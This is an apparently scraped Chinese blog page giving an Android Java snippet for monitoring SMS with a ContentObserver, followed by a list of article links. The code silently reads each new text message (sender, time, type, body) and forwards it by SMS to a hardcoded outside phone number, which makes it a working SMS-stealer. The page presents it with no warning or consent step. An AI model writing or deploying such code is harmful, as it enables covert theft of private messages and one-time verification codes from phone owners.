ContentObserver短信监听
来源:互联网 发布:sass mac 编辑:程序博客网 时间:2024/04/28 19:11
package cn.ither.sms;import java.util.Date;import android.app.Activity;import android.database.ContentObserver;import android.database.Cursor;import android.net.Uri;import android.os.Bundle;import android.os.Handler;import android.telephony.SmsManager;import android.view.Menu;import android.view.MenuItem;public class MainActivity extends Activity {private Uri uri = Uri.parse("content://sms");//内容提供者的uri@Overrideprotected void onCreate(Bundle savedInstanceState) {super.onCreate(savedInstanceState);setContentView(R.layout.activity_main);//getContentResolver().registerContentObserver(uri, true, new ContentObserver(new Handler()) {@Overridepublic void onChange(boolean selfChange) {Cursor c = getContentResolver().query(uri, new String[]{"address","date","type","body"}, null, null, "_id DESC LIMIT 1");if(c.moveToNext()){String address = c.getString(0);Date date = new Date(c.getLong(1));String type = c.getInt(2)==1?"收":"发";//如果收到的内容是1哪就是收短信,如果内容是2哪就是发短信String body = c.getString(3);String textsms = "地址:"+address+",时间:"+date+"类型:"+type+"内容:"+body;SmsManager manager = SmsManager.getDefault();//manager.sendTextMessage(目标的电话号码,短信中心,内容,发送成功,对方收到);manager.sendTextMessage("13025882326", null, textsms, null, null);}}});}
0 0
- 使用ContentObserver监听短信
- 使用ContentObserver监听短信
- ContentObserver短信监听
- 使用ContentObserver监听短信
- ContentObserver监听发送的短信
- ContentObserver 监听短信数据库,收短信
- Android_通过ContentObserver监听短信数据变化
- 9 ContentObserver 监听短信发送器
- Android ContentObserver监听短信提取验证码
- 使用ContentObserver监听短信数据库的变化
- android ContentObserver监听系统短信和备份短信到本地
- 监听发送短信(Service中注册ContentObserver)
- 关于使用ContentObserver监听不到删除短信会话的解决方案
- Android 监听短信2种方式:Broadcast和ContentObserver
- 【android】利用ContentObserver监听短信来获取验证码
- 监听短信获取验证码——ContentObserver的使用
- Android两种方式监听短信内容---BroadcastReceiver和ContentObserver
- 内容观察者 ContentObserver 监听短信、通话记录数据库 挂断来电
- cocos3.2|安卓编译总结 Win8_64 未完
- vmware下ubuntu14.04 nat方式上网
- IOS开发-小白进阶-什么是ARC(一)
- js获取浏览器信息
- 华为USB线刷工具的使用
- ContentObserver短信监听
- Windows 8.1 玩游戏时移动鼠标卡顿的解决方法
- Nginx 配置文件详解
- UVa - 455 Periodic Strings
- C++ 对象的内存布局(上)
- 微博开发原理简化android使用http访问php获取json
- linux 内核字节序相关函数
- java 集合的常用操作(排序、查找、打乱顺序)
- Linux netstat命令详解